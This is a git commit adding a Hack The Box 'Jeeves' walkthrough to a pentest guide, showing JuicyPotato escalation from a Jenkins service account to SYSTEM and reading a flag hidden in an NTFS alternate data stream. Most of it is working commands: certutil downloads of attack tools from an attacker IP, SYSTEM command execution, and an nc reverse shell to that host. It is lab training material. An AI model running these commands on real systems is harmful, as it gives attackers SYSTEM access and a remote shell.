commit 4fe59090c9684ee91bc71c67523fd17cfd2d540f
parent 73b50b8fd73076caedc6df2e56d7482d0b4e9731
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Tue, 15 Sep 2026 03:40:07 +0100
feat: add HTB Jeeves worked example to Potato & ADS guide
Adds an end-to-end worked example on HTB Jeeves that combines both halves of
the guide: JuicyPotato escalates a SeImpersonate service account
(JEEVES\kohsuke, reached via the Jenkins :50000 script console) to SYSTEM,
then reads the root flag hidden in an NTFS Alternate Data Stream
(hm.txt:root.txt).
Teaches the transferable non-interactive potato pattern — redirect SYSTEM
output to a file the low-priv user can read, then type it back — plus -l
port selection around Jeeves' occupied ports (80/135/445/50000), choosing a
SYSTEM-owning CLSID valid for the OS build (BITS), the JuicyPotatoNG -s
triage flow, and why NG's "failed to communicate with our COM Server" error
on build 10586 means falling back to the legacy JuicyPotato.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01LGt1BFBCTS16MDy6Vewoxe
Diffstat:
1 file changed, 124 insertions(+), 0 deletions(-)
diff --git a/src/content/sheets/pentest-workflow/potato-attacks-and-ads-guide.md b/src/content/sheets/pentest-workflow/potato-attacks-and-ads-guide.md
@@ -501,6 +501,130 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash
---
+## Worked example — HTB Jeeves (JuicyPotato → SYSTEM → ADS-hidden flag) `fas:Spider`
+
+Jeeves is the canonical box for this guide because it exercises *both halves at once*: a `SeImpersonate` service account escalates to SYSTEM with JuicyPotato, and the root flag is hidden in an **NTFS Alternate Data Stream**. Learn the moves here and you can run the same play on any box where a service account holds impersonation rights.
+
+**The setup.** Foothold is an unauthenticated Jenkins script console on port `50000`, which runs as `JEEVES\kohsuke` — a service account that holds `SeImpersonatePrivilege`. The host is **Windows 10 build 10586 (1511)**, which predates the October 2018 (1809) DCOM hardening that killed the original JuicyPotato technique. That single fact decides the tool: **legacy JuicyPotato works here; JuicyPotatoNG was built for later Windows and will likely misfire.**
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["Jenkins :50000\nscript console"] --> B["RCE as JEEVES\\kohsuke\n(has SeImpersonate)"]
+ B --> C["JuicyPotato\n(BITS CLSID, free -l port)"]
+ C --> D["SYSTEM\n(non-interactive: redirect\noutput to C:\\Users\\kohsuke)"]
+ D --> E["dir /r reveals\nhm.txt:root.txt:$DATA"]
+ E --> F["more < hm.txt:root.txt\n→ root flag"]
+```
+
+### The transferable pattern — non-interactive potato, output to a file you can read
+
+Legacy JuicyPotato (like GodPotato, EfsPotato, RoguePotato) does **not** hand you a live shell — it runs one command as SYSTEM and exits. So you make SYSTEM write its output somewhere your *current* low-priv user can read (your own profile, `C:\Users\kohsuke\`), then read it back. That is why every command below ends in `> C:\Users\kohsuke\out.txt 2>&1`. This pattern works from any cramped context — a Jenkins console, a web shell, `xp_cmdshell` — where you can't hold an interactive session.
+
+Three knobs you set every time:
+
+- **`-l <port>` — COM listen port.** Must be free. On Jeeves, ports **80, 135, 445, 50000** are taken, so pick something else (`53375` is a fine arbitrary high port). Confirm with `netstat -ano | findstr ":53375 "` — no output means it's free.
+- **`-c <CLSID>` — the COM object to activate.** It must map to a service that runs as SYSTEM *and* be valid for this exact OS build. The **BITS** CLSID `{4991d34b-80a1-4291-83b6-3328366b9097}` is a reliable pick on older builds. Per-OS CLSID lists: [ohpe.it/juicy-potato/CLSID](http://ohpe.it/juicy-potato/CLSID/).
+- **`-t *` — token call.** Try both `CreateProcessWithTokenW` and `CreateProcessAsUser`; whichever your privilege allows fires.
+
+### Step 1 — stage the tools and confirm the privilege
+
+```batch
+:: from the Jenkins console / your kohsuke shell — C:\Users\kohsuke is writable
+certutil -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\Users\kohsuke\jp.exe
+certutil -urlcache -f http://10.10.14.3/nc64.exe C:\Users\kohsuke\nc.exe
+
+whoami /priv :: expect SeImpersonatePrivilege = Enabled
+```
+
+### Step 2 — prove SYSTEM (the read-back pattern)
+
+```batch
+:: run whoami as SYSTEM, send the result to a file you can read
+C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c whoami > C:\Users\kohsuke\whoami.txt 2>&1" -t *
+type C:\Users\kohsuke\whoami.txt
+:: -> nt authority\system (the exploit worked)
+```
+
+### Step 3 — find the ADS on the Administrator desktop
+
+This is exactly the command you pasted — run `dir /r` **as SYSTEM** (kohsuke can't read the Administrator profile), redirected to your file:
+
+```batch
+C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt" -t *
+type C:\Users\kohsuke\ads.txt
+```
+
+`dir /r` prints the streams next to each file. Jeeves shows the tell-tale line:
+
+```text
+ 0 hm.txt
+ 34 hm.txt:root.txt:$DATA
+```
+
+`hm.txt` looks empty (0 bytes in its default stream), but it carries a **34-byte named stream** `root.txt` — the flag lives there. Plain `dir`, `type hm.txt`, and Explorer all miss it.
+
+### Step 4 — read the ADS-hidden flag (as SYSTEM)
+
+`more <` is the reliable stream reader from `cmd`. Run it as SYSTEM and redirect the result back to yourself:
+
+```batch
+C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\root.txt 2>&1" -t *
+type C:\Users\kohsuke\root.txt
+:: -> the root flag
+```
+
+Prefer a full shell over one-liners? Swap the payload for a reverse-shell callback (catch with `nc -lnvp 443`), then read the stream interactively as SYSTEM:
+
+```batch
+C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\kohsuke\nc.exe 10.10.14.3 443 -e cmd.exe" -t *
+:: then in the SYSTEM shell:
+more < C:\Users\Administrator\Desktop\hm.txt:root.txt
+```
+
+### If you reach for JuicyPotatoNG first — the `-s` triage and when to fall back
+
+On a *modern* target you'd try NG before the legacy tool. NG's `-s` is a standalone reconnaissance mode — run it by itself:
+
+```batch
+JuicyPotatoNG.exe -s
+```
+
+It reports one of two things:
+
+- **`Found non filtered port` entries** — pick a free one that isn't already taken (on Jeeves, avoid 80/135/445/50000). Confirm with `netstat -ano | findstr ":49670 "` (no output = free).
+- **`Windows Defender Firewall not enabled. Every COM port will work.`** — any port is fair game.
+
+Then retry the default (PrintNotify) CLSID on that port, and if that's silent, try the BITS CLSID:
+
+```batch
+:: default CLSID
+JuicyPotatoNG.exe -t * -l 49670 -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\ng-default.txt 2>&1"
+type C:\Users\kohsuke\ng-default.txt
+
+:: BITS CLSID (49671 is only an example — use a port -s reported)
+JuicyPotatoNG.exe -t * -l 49671 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\ng-bits.txt 2>&1"
+type C:\Users\kohsuke\ng-bits.txt
+```
+
+> [!warning]+ `The privileged process failed to communicate with our COM Server` on Jeeves
+> `fas:TriangleExclamation`
+> If `-s` says the firewall is off (every port should work) but both CLSIDs still return this generic error, the problem isn't the port — it's a **trigger incompatibility**. NG prints the same message whenever no authentication arrives within its ~3-second window, and its COM triggers / local TCP handling were designed for newer Windows than Jeeves' 10586. Stop tuning ports and CLSIDs and fall back to the legacy tool:
+> ```batch
+> JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\original-jp.txt 2>&1" -t *
+> type C:\Users\kohsuke\original-jp.txt
+> ```
+> Rule of thumb: **legacy JuicyPotato for ≤ Win10 1803 / Server 2016; JuicyPotatoNG for later builds.** Jeeves (10586) is squarely legacy territory.
+
+> [!success]+ What to carry to the next box
+> `fas:Lightbulb`
+> 1. **Match the tool to the OS build**, not to what's newest — `[environment]::OSVersion.Version` first, always.
+> 2. **No shell? Redirect to a file you own** (`> C:\Users\<you>\out.txt 2>&1`) and `type` it back — the universal non-interactive potato pattern.
+> 3. **Pick a free `-l` port** and a **SYSTEM-owning CLSID valid for the build** (BITS is a safe default on older Windows).
+> 4. **Always `dir /r` the target's Desktop/profile** — flags, creds, and second-stage tools get parked in ADS exactly like Jeeves' `hm.txt:root.txt`.
+
+---
+
## Detection, OPSEC & cleanup `fas:Shield`
> [!danger] Authorised testing only